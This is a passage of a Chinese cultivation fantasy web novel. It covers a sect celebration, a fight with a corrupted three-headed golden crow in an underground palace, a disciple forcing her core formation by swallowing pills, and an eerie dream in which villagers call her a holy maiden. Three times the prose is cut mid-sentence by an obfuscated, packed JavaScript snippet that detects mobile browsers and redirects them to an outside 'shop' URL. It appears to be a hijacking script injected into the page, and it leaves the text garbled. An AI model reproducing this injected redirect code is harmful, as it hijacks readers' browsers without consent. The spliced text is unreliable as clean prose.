夏南烛用手拾起小球,揣进袖中,回道:“这符纸是大师兄给的,你可以放心。” “大师兄早就预料到我们这次出门会遇到危险吗?”云朵有些吃惊。 夏南烛道:“他只是担心,若本次大会来之夺冠,或许会有人觊觎冠军奖品,在我们回宗的路上埋伏。” “大师兄可真是料事如神啊!”季来之感叹道,“不过,这看上去也不像是埋伏啊?先锋都被我们缴获了,也没见有人出来。” 夏南烛沉吟片刻,从怀中掏出一张符纸,注入灵力,蓝色的法阵在他们脚下显现。 “我们直接用传送阵回宗。” 视野被蓝光淹没之前,云朵内心唯一的想法就是: 她家大师兄居然连传送符都提前准备好,也太靠谱了! 思绪飘忽间,周围的景色已经变成了他们熟悉的歇云处。 看见院中的大树和石桌,云朵不由得欢呼道:“太好了!终于回来了!” 她从盈盈剑上一跃而下,撒欢似的在院子里跑了几圈。其间,夏南烛和季来之也默默跳下佩剑,将行囊放到石桌上。 夏南烛从屋中翻出一包茶叶,泡了壶茶,端到院子里。正巧这时,云怀清步履匆匆地走进院门,见到他们,似是松了口气。 云朵开心地跑过去:“大师兄!” 季来之见他行色匆匆,面上也紧绷着,好奇道:“大师兄,你这么着急做什么?” 云怀清见到他们,松了一口气:“我感应到你们用了传送符回宗,以为是遇上了什么危急情况。刚见你们都活蹦乱跳的,算是放心了。” 云朵有些吃惊:“什么?我们用了传送符,大师兄你还能感应到?” 云怀清道:“宗门周围的法阵都是我设下的,你们用传送符直接传送进来,自然能感应到。” 云朵道:“大师兄,你可太厉害了,还有什么是你办不到的!” 云怀清笑了笑,换了话题:“你们这次外出,看上去收获颇丰,可有什么趣事发生?” 季来之道:“趣事是没有,倒有件怪事……”说着,他的目光看向夏南烛。 夏南烛会意,接过话茬,将他们回宗路上的遭遇一五一十地讲给云怀清听。说罢,还从袖中掏出了半路取来的卷轴和被符纸包裹的小球。 云怀清一脸凝重地接过,将那小球翻来覆去地看了几遍,迟疑道:“我也没看出什么名堂。听南烛刚才的描述,感觉像是什么灵智初现的妖物,恰巧被你们碰上了。具体如何,我还需要带回去仔细研究一下。” 云朵担忧道:“大师兄,你研究它的时候可要小心啊,它可凶了!我明明站在剑上什么都没干,它就从后面偷袭我。要不是二师兄反应快,我都得被它捅个对穿!” 云怀清笑了笑,安抚道:“放心吧朵朵,我有分寸。你们出去这些时日,一定累坏了吧,赶紧好好休息休息吧。” 季来之眼巴巴地追问道:“大师兄,你都不好奇这一届的冠军奖品是什么吗?” 云怀清一拍脑门:“抱歉啊来之,我刚刚光想着这怪事,把这么重要的事都给忘了!” 季来之笑嘻嘻地从行囊中翻出那个玉匣,献宝似的端到云怀清面前。 “大师兄,你打开看看。” 玉匣并没有上锁,云怀清轻轻用力,就将盖子掀了起来。 只见匣中躺着一截不过尺余的枝杈,枯槁虬曲表皮上隐隐浮着一层淡绿的柔光。神木黝黑的表皮下,透出温润的金色髓脉。枝梢断裂处,新生的嫩芽如翡翠雕琢。匣壁内雕的波涛纹路在神木气息的浸染下竟似活了过来,正在缓缓流淌。 饶是云怀清见多识广,也是吃了一惊:“这是……栖吾?” 季来之点头:“当时霁华宗宗主确实是这么称呼它的。” 云怀清用纸扇点了点下巴,道:“没想到,霁华宗连神木残枝都拿出来当奖品了。你可得把它收好,这是多少人求都求不来的宝物。” 季来之把匣子又往前递了递。 “大师兄,我是剑修,这玩意放在我这纯属暴殄天物,不如师兄拿去,兴许还能找到什么合适的用途。” 云怀清睁大了眼睛:“这……你真不要?” “真的不要,在我这它只能在角落里吃灰啦。” 云怀清合上盖子,接过玉匣,道:“那便谢谢来之啦。” 季来之连忙摆手:“大师兄跟我还客气什么!” 云怀清将玉匣揣进袖中,与他们聊了半晌比武大会的经过,日头便已西斜。 “时候不早了,庆功宴应该快开始了,你们先收拾一下,咱们一起去焦香轩吧。” 一听到有好吃的,云朵和季来之立马欢呼雀跃地跑回各自房间,叮呤咣啷地收拾起来。 这次的庆功宴,季来之是当之无愧的主角。 四人一进门,季来之就被一拥而上来庆贺的外门弟子们围了起来。云朵见众人簇拥着他一会儿往这边来,一会儿又往那边去,突然觉得有时候当个背景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062175|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板也挺好,清净。 她拿了个盘子,从长桌上搜刮了一番,把喜欢吃的东西都放了一点在盘子里后,默默找了个人少的角落猫着,边吃边看戏。 月上中天时,季来之已经被外门弟子们缠着闹腾了一轮又一轮,就算他天性好动,也是有些吃不消了。 云朵早就吃饱了,看戏也看够了,不知不觉就开始支着下巴犯困,头一点一点的。 “扑簌簌——” 恍惚间,她好像听到了一阵令她头皮发麻的振翅声。她瞬间清醒过来,四周望去,发现周围的景象已不是焦香轩,而是一片漆黑。 同她上次噩梦中的场景一样! 云朵往前疾走两步,小心翼翼地伸出手去,什么也没摸到。但她周围的振翅声越来越多,越来越密集,听上去像一大群虫子正向她围拢过来。 所以说,这到底是什么鬼地方?为什么她又梦到这里了? 云朵惊疑不定,又不敢轻举妄动,只将手慢慢伸向腰间。 !!! 她的佩剑不在! 冷汗瞬间冒了出来。现在的她手无寸铁,身处一个漆黑的陌生环境中,四周环绕着虫群。 虽然理智上知道这是在梦里,但这梦境过于真实了,让她没法不害怕。 四周的振翅声越来越近了,云朵僵在原地不敢动。 还有什么办法吗? 突然,一阵歌声从远处传来。那声音飘忽渺远,听不真切,但云朵就是觉得,这个声音非常熟悉。 虫群似乎被这阵歌声安抚,又似在恐惧,振翅声平息了。 云朵眨眨眼,她依然看不清周围的景象,但听着歌声,她就不明原因地觉得自己是安全的。 “是谁……是谁在唱歌?” 没人回答,只有歌声依旧。 “虽然不知道你是谁,但是谢谢你。”云朵向虚空中的歌者道谢。 随后,同上次噩梦结束时一样,一团白光驱散了黑暗,把她拉回了现实。 云朵猛地睁眼,看见三位师兄站在她身前,他们身后还围着众多外门弟子,每个人都是一脸担忧。 “朵朵,你还好吗?” 云朵擦了一把额头,发现全是冷汗。 她勉强挤出个笑容道:“我没事,可能是有点累,做了个噩梦。” “噩梦?跟上次一样吗?” 云朵摇头道:“不太一样,不过感觉是发生在同一个地方。” 三人面色凝重,互相递了个眼神。 夏南烛道:“晚点我给你送点凝神静气的药包,你挂在床头,也许有用。” “那我就先谢谢二师兄啦!” 云怀清见她状态尚可,轻轻点了点头,转身对围着的外门弟子们说道:“时辰也不早了,大家也吃得差不多了,今天就先到这儿吧。” “是,大师兄!” “我们留下来收拾东西!” 云怀清嘱咐完外门弟子,回过头来招呼他们一起回歇云处。 路上,云朵忽然想起了梦中的歌声,便循着记忆哼了一小段,问道:“你们听过这个旋律吗?” 不知道是不是她的错觉,感觉三位师兄都愣了一下,才开口否认。 “……未曾听过。” “师妹,你看我像会去听曲儿的人嘛?” “朵朵是从哪里听来这个旋律的?” 云朵道:“这次做梦的时候,我先是听到有人唱歌,过了不久就醒了。”她揉了揉太阳穴,“我觉得这个旋律很熟悉,但是想不起来在哪里听过。” 季来之道:“也许是你无意间听过,就留下了记忆,只不过你也不记得了。” “大概吧。” 云朵也不想再细想了,这一天当中发生了太多事,她觉得有些累了。 四人沉默地往歇云处走,月光将他们的影子拉得很长。 16. 空忆扶桑暖(3) 比武大会结束后,云朵的日子又恢复了平静。每天基本都是歇云处-焦香轩-摔云坪三点一线的生活,无聊到让她甚至还是怀念在霁华宗的日子了。 虽然在霁华宗吃得没有浮云宗合胃口,作为外人还有诸多限制,许多地方都不让去,但时不时能看场比武,还是很热闹的。 可惜啊,快乐的时光总是短暂的。 “笃笃笃——”三声规律的敲门声拉回了她的思绪。 “来了来了。”她跑过去打开门,见夏南烛端正地站在门口,腰间的储物袋鼓鼓囊囊。 “二师兄?你这是要出门吗?” 夏南烛点头道:“我和来之打算再去那日被袭击的地点探寻一番,你要一起吗?” “咦?我可以吗?不是说没有结丹的弟子不能外出游历?” “我跟师兄请示过,他同意了。” “哇!!”云朵一下就兴奋起来,“那你们等我一下,我收拾一下东西,很快就好!” “不急,记得带上师兄给的护身符。”夏南烛嘱咐道。 “知道啦!” 收拾完要带的东西,云朵蹦蹦跳跳地来到院子里,正巧季来之也推门从屋里出来。 “咦,师妹真去呀?” 云朵不满道:“你这是什么意思,我不能去吗?” 季来之赶紧摇头:“没有没有。不过上次碰到的东西邪性得很,不知道那地方还没有没更厉害的东西,你……” 云朵握拳:“我会保护好自己的,不会拖你们的后腿。而且,我还带上了大师兄给的护身符,打不过我还跑不过吗!” 季来之见她这么说,也没再反驳。 他们俩在院子里安静地等了一会儿,夏南烛也收拾好出来了。三人检查了一下该带的东西是否带齐,就御剑出发了。 上次他们遇袭后,便直接用传送符回了宗门。这次纯靠御剑,足足飞了两个时辰。 他们悬停在半空中,望着下面繁茂的枝叶,一时无声。 最终还是夏南烛打破了沉默:“二师兄,要不我先下去探一探?” 夏南烛沉吟片刻,缓缓点头:“也好,见势不对,赶紧上来。” “好嘞。”季来之说完,像条鱼似的,一猛子扎了下去,鲜红色的身影隐没在了层层叠叠的翠绿中。 过了一会儿,他从稍远处探出头来,向她们边挥手边喊道:“这边地底下有个宫殿!你们快过来看看!” 夏南烛和云朵对视一眼,都从对方眼中看见了诧异。 这荒郊野岭的,怎么会有人把宫殿盖在这种地方,还修在了地下? 二人御剑跟随季来之飞到了一个黑洞洞的洞口前。那洞口很大,可容三到四人并行通过。洞口原先应该是用砖石砌成,但不知经过了多少年月,砖石有的剥落,有的被侵蚀,早已不复当日的辉煌。 三人收起剑,依次跃入洞口,里面黑漆漆一片。 夏南烛燃起照明符,在跳跃的火光中,他们看清了周围的景象。 这所谓的地宫,并不是用来住人的。 殿中空旷,反倒是四周的墙边矗立着众多鸟形雕像。那些雕像由近到远,从他们身后的入口处,一直蔓延到对面远处的大门旁,且越远的雕像,体型越大。 他们捏着照明符走近其中一尊雕像,只见那巨鸟双翼微张,每一根修长丰满的飞羽都精雕细刻,在昏暗的光线下完全可以以假乱真。它的颈项高昂,头颅微微上扬,尖锐有力的喙微张,仿佛正引颈欲啼。 最为特殊的,是它有三只足,其中两足稳稳踏在方形基座之上,第三足则向上探出,紧贴于胸腹之间,爪尖锐利得仿佛能撕裂虚空。 季来之有些不确定道:“这是……三足金乌?” 夏南烛“嗯”了一声,又捏着照明符往前走。他们路过的每一尊雕像姿态各不相同,有的用双翼环抱着日轮;有的翼尖燃火,振翅欲飞;有的单足而立,神态威严地俯视着闯入者。 云朵越看越觉得后背发凉,搓着手小声抱怨道:“金乌不是太阳神鸟吗,为什么要把供奉它的地方修在这不见天日的地底?再说了,这地方就算是供奉金乌,摆一尊雕像也就够了,为什么要修建这么多?真有人要进来拜,都不知道应该要拜哪一个好。” 夏南烛停下脚步,抬手指着远处的大门,缓缓道:“恐怕,真正供奉它的地点在那门后。” 云朵望着那扇透不出一丝光亮的大门,不安道:“那……我们真的要进去吗?现在能确定袭击我们的东西,跟这个地宫有关吗?” “无法确定。但此处透着阴邪,即使与袭击我们的东西无关,也该去探一探。否则,若里面真有危险,我们不去探明,以后有人误入恐遭不测。” 云朵虽然心里仍是害怕,但也明白夏南烛说得对。从她进入浮云宗的第一日起,云怀清便告诉她,修仙之人,既吸纳了这天地间的灵气,便有责任守护天下苍生。 季来之看出她恐惧,提议:“师兄,不然让师妹留在这大殿中,我们两个进去探探?” “不!让我跟着你们一起进去吧,如果真有什么危险,我可以躲在远处,不拖你们后腿。” 季来之挠挠头:“那……也行吧,总之,你见势不妙赶紧跑。” 云朵重重点了两下头。 三人小心翼翼地走进了那扇大门,夏南烛和季来之并排走在前面,云朵跟在他们身后。 一进门,一股阴冷的气息扑面而来。压抑了不知多少岁月的阴秽怨气如同污泥,粘稠得令人窒息。 夏南烛、季来之、云朵三人屏息凝神,脚步落地无声,但就在他们绕过一根断裂、刻满诅咒符文的巨柱时—— “吼——!!” 震耳欲聋的咆哮声骤然撕裂了大殿中的死寂。在他们前方,一团巨大的阴影开始蠕动,三双硕大的黑色眼睛猛地睁开。 碎岩如雨般落下,那怪物从地上起身。 它依稀还保留着金乌神圣的轮廓,却早已被怨气扭曲得面目全非。 三颗鸟首从同一个脖颈上伸出,颈脖皮开肉绽,流淌着黑色粘液。每一颗头颅上都覆盖着残缺焦黑的羽毛,六只巨大的翅膀上缠绕着浓郁的黑气,伸展开时仿佛要撕裂空间,扇动时带起了阵阵腥臭的风。 传说中的神鸟已不在了,在这里的,是一个只知毁灭的巨兽。左右两颗鸟头张开巨口,两道黑色火焰朝三人喷射而出。 “闪开!”季来之暴喝,双剑出鞘,剑身嗡鸣,化出漫天剑光。剑光过处,大片水幕凭空涌现,化为层层叠叠的屏障,拦向右边的头颅。 夏南烛在魔物苏醒的刹那已将数枚赤红丹丸捏碎,手掌一扬,赤红的药雾径直扑向魔物左侧的头颅。 粉末触及黑焰,爆发出刺目的红芒和“嗤嗤”的腐蚀声响。同时他腰身一拧,化难出鞘,带着锐利的白色剑罡斩向怪物的翼根。 那魔鸟被他们的反抗彻底激怒了。 此时,它左右两侧的头颅分别被夏南烛、季来之两人牵制,而夏、季二人也因此远离了先前的位置,将一直挡在身后的云朵暴露出来。 那巨鸟抓住机会,中间的头颅发出一声足以穿透耳膜的嘶鸣,脖颈扭曲成诡异的角度,一道黑炎从口中激射而出,撕裂空气,目标赫然是一直没有加入战局的云朵! “岁宁!小心!!”夏南烛眼角余光瞥见这绝杀一击,心脏骤停。体内灵力被他催至极限,他甚至顾不得收剑回防,脚下猛蹬,身形化作一道白影直扑云朵前方,毅然决然地用后背迎向那道吞噬一切的黑焰。 “二师兄——!”云朵惊恐的尖叫刺破了空气。 就在暗光即将撕裂夏南烛身体的千钧一发之际,他胸口处蓝光乍起,几乎照亮了整间大殿。 一张符纸从他怀中飘出,掠至他身后。耀眼的蓝光凝实成一堵半透明的护壁。 只听“轰”的一声巨响,暗火与光壁□□撞,足以洞穿山岩的能量在咫尺间轰然爆发。湛蓝华光剧烈闪烁,护身符在剧烈的碰撞中,耗尽了最后的力量,片片碎裂,最终化为齑粉。 夏南烛被巨大的冲击力撞飞出去,重重砸在远处的断壁上,顿时喷出一口血。 “夏南烛!”季来之目眦欲裂,手中双剑合璧,激射出一道水龙卷,径直撞向那怪物的胸膛,逼得它倒退一步,暂时无暇追击。 “二师兄!”云朵扑到夏南烛身前,见他胸前的白衣已被自己的血染红了一片,眼泪瞬间夺眶而出,“都怪我……” “别哭,我没有大碍,师兄的护身符救了我一命。”夏南烛翻了翻袖口,用没有沾灰的地方给她擦泪,“这里太危险了,你先走……” 云朵疯狂摇头:“不行!我不能丢下你们自己走!” 轰隆隆—— 一阵巨响打断了她的话。 剧烈的能量震荡引发了连锁反应,本就因岁月侵蚀和怨气腐蚀而脆弱不堪的地宫穹顶发出不堪重负的呻吟。岩石如同暴雨般坠落,巨大的裂痕飞速蔓延。 伴随着一声震耳欲聋的巨响,整个地宫的顶部彻底垮塌下来,冰冷的风疯狂涌入,刺眼的阳光瞬间洒满大殿。 碰触到阳光,那魔物仰天发出痛苦又狂暴的嘶吼。它巨大的躯体沐浴在天光下更显恐怖,六翼鼓动带起的黑气狂澜宛如海啸。 夏南烛艰难撑起身体,却忍不住又咳出一口鲜血,持剑的手臂颤抖不止,却依然坚定地将云朵护在身后。 季来之见夏南烛生命无虞,重新集中精力对付眼前的魔物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062176|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的双剑依然迅捷,道道水刃切割着黑气,但那魔物似乎不知疲倦,无论季来之切断它身上的黑气多少次,下一刻又会有黑气继续补上,无穷无尽。 渐渐地,季来之身上的伤口也多了起来。那魔物喷出的黑焰中不知包含着什么,伤口不会愈合,灵力运转间也显滞涩。他原本鲜红的衣裳已被血浸透成暗红色,气息也开始紊乱,几乎到了强弩之末。 “不行!这样下去,我们都会死!”云朵看着两位师兄浴血的身影,剧烈喘息着,心脏仿佛被一只冰冷的手攥紧。 在恐惧到了极点之后,她反而平静了下来。决绝的火焰开始在她眼底燃烧,她猛地将手伸进腰间储物袋。 “你有用不完的怨气,不怕我们这些人类的攻击,那……天雷你怕不怕呢?”她冲着那遮天蔽日的魔鸟嘶吼,再不顾后果,从储物袋中掏出一把聚气丹。 那是夏南烛见她总为结不成金丹而闷闷不乐,特意炼来给她的。聚气丹能够帮助修仙者吸纳周围灵气,修炼时服用,可有事半功倍的效果。但靠外力吸纳的灵气,终究比靠自身来的虚浮,若转化不及时,容易损伤经脉。因此,每次修炼时一般服用一颗足矣。 此时,她也顾不得这许多条条框框了,只是把带来的聚气丹全部塞进口中,囫囵吞下。 “云朵!你疯了吗!”夏南烛瞥见这一幕,嘶声惊呼,却已来不及阻止。 足以撑爆经脉的狂暴灵力如同火山般在云朵体内炸开。 云朵纤细的身体瞬间弓起,皮肤下青筋暴突,七窍甚至渗出血丝。 她死死咬住嘴唇不让自己惨叫出声,强忍着撕心裂肺的剧痛,不顾一切地催动法诀。 一股陡然爆发的强横气息从她身上冲天而起,直冲云霄。同一瞬间,刚刚还万里无云的天空中,已然汇聚起了滚滚乌云。那灰黑色的云海狂暴翻滚,无数粗壮狰狞的电蛇在云层中疯狂扭动。 煌煌天威,瞬间锁定了下方强行冲关的云朵,以及她身边那散发着滔天怨气的魔物。 魔物似有所感,三颗头颅同时仰天,发出惊怒交加的咆哮。 然而,天道无情,劫雷已至。 咔嚓——!!! 没有任何预兆,一道贯穿天地的深紫色巨雷,粗逾古树,携着摧毁一切的意志轰然劈落。煌煌雷光,照亮了夏南烛惊骇的面容,照亮了季来之染血的剑锋,更将那试图振翅逃离的三头六翼的魔物彻底吞没。 季来之见势不妙,飞速后撤至云朵身前,舞动双剑,一堵水墙将三人护在身后,生生截住了劈落的雷光。 “吼嗷!!!” 魔物的惨嚎凄厉到扭曲,在至阳至刚的劫雷中戛然而止。它那被怨念浸透的庞大躯体在无情的雷劫中疯狂扭动,却依然逃不过碎裂的命运,最后化为一大片焦黑齑粉,消散在空气中。 渡劫云缓缓散去,阳光重新洒向了已经变成废墟的地宫。 废墟中心,季来之拄着双剑半跪在地,剧烈喘息,随后咳出一大口血。 夏南烛倚靠着断壁,缓了口气,从储物袋中取出两颗丹药,一颗自己服下,另一颗递给了季来之。 二人服下丹药后,感到力气恢复了一些,连忙去查看云朵的情况。 “师妹!你怎么样!还活着吗!” “岁宁,撑住,不要昏过去!” 云朵躺在地上,意识有些模糊,季来之和夏南烛的呼唤她听不太真切。强行突破带来的经脉撕裂剧痛让她蜷缩成一团,她体内那颗刚刚强行铸就的金丹,正在丹田处缓缓旋转。 她用力抬头,嘴角扯出一丝笑容。 “二师兄……三师兄……你们看……我也结丹了……” 夏南烛示意季来之将她扶着坐起,然后双掌贴在她背上,缓缓输送灵力。片刻后,见云朵神色不再如刚才那般痛苦,内心的担忧终于还是转化成了怒火,斥道: “你太胡来了,聚气丹怎能这样用!你可知你服下的量相当于其他人一个月的用量?如此巨大的灵力入侵,稍有不慎可能爆体而亡!” 季来之见夏南烛是真的动怒了,连忙劝道:“师兄,师妹这一招虽然险,但好在最后结果是好的嘛!她第一次除妖,就碰上这么个狠角色,还能保持冷静,不但想出了破局办法,还因此顺利结丹。我觉得她比我当年可厉害多了!” 夏南烛瞪了他一眼,没再回话,只专心用灵力帮云朵调理经脉。 “对不起,二师兄……害你担心了。”云朵虚弱地道歉。 夏南烛长长叹了口气,道:“……下次别再这么鲁莽了。” “……嗯。”云朵嘴上答应,心里想的却是,如果再碰到师兄们身陷险境,她也一定会不顾一切代价救他们。 哪怕豁出这条命。 17. 空忆扶桑暖(4) 也许是经脉被横冲直撞的灵力撑得太疼,也许是强行结丹耗费了太多体力,云朵最终还是在温暖灵流的抚慰中沉沉睡去。 她又做梦了。 这次的梦中没有黑暗,没有虫子,只有一眼望不到头的碧绿。 她深吸了一口气,鼻腔中满是草木的清香。 她并不知道自己现在身处何处,但双脚仿佛有记忆般,朝着一个方向径直迈开步伐。 密林中草木茂盛,每走一步,她都要费力地用双手拨开面前的枝叶,抬腿迈过地上盘根错节的根系。 不知走了多久,眼前豁然开朗,一个古朴的村寨出现在她面前。 那寨子不大,大概有四五十个木屋,零散地建在山脚下。在寨子的最前面有一片空地,几个幼童正在斗虫玩。 他们所用的虫子与常见的虫子不太一样,颜色艳丽,色彩缤纷,看上去竟然都是些带毒的。 云朵心中大惊,赶忙跑过去想提醒一下那些无知幼童。但那群孩子在看到她的身影后,却像是看到了什么比毒虫更让他们恐惧的事物,一个个慌忙起身,缩在了一起,满眼畏惧地望着她,年龄稍小的孩子甚至抑制不住地轻轻颤抖。 云朵:“……” 她没忍住伸手摸了摸自己的脸,有点怀疑自己。 我长得有这么吓人吗? 她迎着幼童们恐惧的眼神,努力挤出一个和善的笑容,问道:“你们知道自己在玩什么吗?” 孩子们看上去更害怕了,站在最后面的几个甚至不由自主地往后退了几步。 云朵无奈道:“你们这么怕我干什么?我又不会吃了你们。” 说罢,她弯下腰,想把地上那几只鲜艳的毒虫收起来,待会走远了找个地方丢掉,免得哪个孩子被它们误伤。 不知道她话里的哪一个字挑动了小孩们敏感的神经,他们突然爆发出了撕心裂肺的哭声。 他们这一哭,是真给云朵哭懵了。 她的动作僵在了半途,内心恍惚地想着,她刚进浮云宗时,也时常因为身体不适而哭闹,那时候师兄们是不是也像她现在一样,一个头两个大。 “圣女大人,我们知道错了!以后再也不敢了!求求你不要让粉侯吃掉它们!” 云朵彻底懵了。 圣女大人?谁?她?她一个浮云宗的内门弟子,怎么就成了圣女了? 还有,粉侯又是什么?还会吃毒虫? 苍天啊,这到底是个什么梦啊! 云朵不知说什么,幼童们的哭声吵得她头疼,场面一下子就僵住了。 “这是怎么了?”一个苍老的声音响起。 云朵循声看去,见一个穿着灰色粗布麻衣的老人站在不远处,一双浑浊的眼睛直勾勾地望着他们。 她心下大喜,总算有能沟通的人了! “这位老伯,您来得正好,我刚路过的时候看见他们在用毒虫玩耍,便想上来阻止。但不知为什么,他们突然开始大哭。”云朵说着说着,觉得自己实在是冤枉,不由得挠了挠头,“我本无意冒犯,也许他们看我是外人,有些害怕?总之,麻烦您帮忙劝劝了。” 那老人听了她的解释,面上表情没有丝毫松动,甚至连眼睛都没眨一下。 云朵被他盯得发毛,心想着这地方的人怎么看着都不太正常。但一直僵持着也不是个事,她只好硬着头皮开口:“老伯……?” 那老人终于像是被解了定身术一般,缓缓开口道:“圣女大人,你该回屋了。” 云朵一愣,随后一股怒气顺着四肢百骸直冲大脑。 莫名其妙!原本以为来了个大人,就能把事情说清楚了,结果也是个没溜儿的! 她真是多余管这个闲事,这些小孩是死是活跟她有什么关系! 她一甩衣袖,转身便要回到刚刚的树林里。结果一回身,赫然发现本该是郁郁葱葱的树林的地方,只剩下了一片虚空。 怎么回事?!这个梦完全不讲逻辑吗!! “你要去哪里?”苍老的声音再次响起,但这次的距离很近,仿佛那人就趴在她背上同她说话。 云朵觉得全身的汗毛都炸了起来,她向右飞速撤开,好在那老人并未继续跟着,只是站在原先她站着的地方,扭头直勾勾地看着她。 “回来吧,你哪里也去不了,你是我们的圣女。”老人说着,朝她伸出了手,手指如同五根枯木,“你生于此,长于此,也理应死于此。” “你在说什么,我听不懂!”云朵感觉心中漫上一阵恐惧,她自己都不清楚这恐惧从何而来,只是想捂住耳朵,将那苍老的声音隔绝在外。 “我差点忘了,你不会死,长生蛊已在你血肉中生根,使你不死不灭。” “你闭嘴!!!我才不是什么圣女,也没听说过什么长生蛊!我是浮云宗内门四弟子云朵,你再胡说八道,信不信我撕烂你的嘴!!” 云朵捂着耳朵崩溃地大喊,眼泪不由自主地夺眶而出,扑簌簌地一颗接一颗落在地上。 她不想听,但脑海中却不合时宜地响起另一个声音: ——你为什么不敢听他说完?你在害怕什么? 我才不想听他在那胡说八道! ——真的是胡说八道吗? 不然呢?我根本不认识他,也从未到过这个奇怪的寨子,为何他们会叫我圣女? ——你怎么知道你不认识这些人,从未到过这个地方? ——你明明不记得进入浮云宗之前都发生过什么。 宛如一道惊雷在耳边炸响! 云朵踉跄几步,呆呆地看着面前的老人。 难道这梦中,真的是她曾经见过的场景?她真的……是这个地方的“圣女”? 神思恍惚间,她又听见了之前在梦中听过的歌声。这次,那歌声更清晰了一些,可以听出唱歌的是个少年,调声宛转,娓娓道来。 那老人听见歌声,原本波澜不惊的面容突然变得狰狞。他满面怒容,却又像是十分畏惧这歌声,不敢有任何动作。 云朵听不懂歌者的语言,但本能地觉得这歌声亲切又熟悉。四周的景象随着歌声逐渐褪色,如雾般散去。原本支撑着她的地面消失了,她像被投入了无边汪洋之中,不断地下沉。海水涌入她的口鼻,她却不觉得窒息,反而像是回到了妈妈的肚子里。萦绕在耳边的歌声忽近忽远,像海妖在在围着她遨游、吟唱,音符顺着她的血液流入四肢百骸,驱散了她的不安。 在一片安宁中,她意识缓缓沉入黑暗。 ----------------- 不知不觉中,歌声消失了,取而代之的是每天清晨都能听到的,窗外的鸟鸣。 云朵十分不舍地睁开眼,映入眼帘的是她无比熟悉的装潢。 看来,在她昏睡期间,已经被师兄们带回了歇云处。 她转动睡僵了的脖颈,向窗边看去。只见一道青色身影坐在窗边的书桌前,背对着窗口坐着,手支在椅背上,头一点一点的。熹微晨光自窗口透进屋内,为他镀上一圈淡黄色的轮廓,让那青色的身影看上去既温暖,又遥远。 “……大师兄?”云朵张口唤他,却发现自己的声音无比嘶哑,嗓子像被砂纸磨过一样,每吐出一个字都磨着疼。 尽管她的声音又低又哑还难听,但云怀清还是被她唤醒了。 “……嗯?朵朵,你醒啦?”云怀清揉了揉眼,急切地起身,宽大的袖子险些把椅子带倒。他倒了一杯水,来到云朵床边,轻轻把她扶着坐起来,把杯子递到她嘴边,“先喝点水吧。” 云朵缓慢地喝完了一杯水,清凉的液体划过喉管,滋润了沿途干涸的黏膜,让她感觉稍微好受了点。 “大师兄,我睡了多久?二师兄和三师兄呢?” “你睡了三天了。南烛和来之一直在养伤,南烛内伤比较重,需要卧床静养。来之基本上都是外伤,已经好得七七八八了。”云怀清边说着,边用手给她掖了掖被角,“你要是再不醒,南烛估计都要亲自过来给你开药方了。” “大师兄,这三天都是你在照顾我?” “差不多,之前来之替了我一会儿,但他毕竟还是伤员,我刚刚让他回去休息了。” 云朵看着云怀清眼底淡淡的青灰色,心里有点愧疚:“大师兄,我已经醒了,你也不用一直在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062177|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里照看我了,赶快回去休息吧。你看看,你都熬出黑眼圈来了。” 云怀清“啊”了一声,抬手摸了摸眼睛,道:“其实来之替我的时候我已经睡过一会儿了……不碍事的。” 睡了一会儿?明明她刚醒的时候还见他困得打瞌睡来着,恐怕不是去休息,而是又去忙宗门事务去了吧。 “没事的大师兄,你去休息吧,我有事的话再去叫醒你。” 云怀清见她坚持,只得无奈道:“那好吧,我就回屋休息一下,你觉得哪里不舒服,一定要来叫醒我!” 云朵连忙点头,目送云怀清满面倦容地出门了。 云怀清刚出门没多久,门又被推开了。 “大师兄?怎么又回来了,是忘了什么东西吗?”云朵撑着身体,起身去看,发现推门而入的季来之,不由得“咦”了一声。 季来之看见她的反应,挑眉道:“怎么?看见我让你这么不开心呢?” “没有没有!我就是看你脸色好白,你伤真的好得差不多了吗?” 季来之摆手道:“差不多了!我那些伤口虽然看着吓人,但其实我才是咱们三个里面伤得最轻的那个。至于脸白……大概是因为血流的太多了,还没补回来?” 云朵总觉得他在满嘴跑火车,皱眉道:“你没让二师兄帮你看看吗?” “二师兄还在床上躺着呢,我哪儿好意思去啊。我自己的身体我自己清楚,没啥大问题!” 云朵垂下了头,要不是为了帮她挡住攻击,以夏南烛的修为,怎么可能伤得这么重。 “你别这幅垂头丧气的样子嘛!其实也没有你想得那么严重啦,当时大师兄给的护身符已经帮他挡掉大部分伤害了,但是大师兄有意让他借养伤的机会多休息一段时间,要求他必须卧床静养。” “……这样啊。” 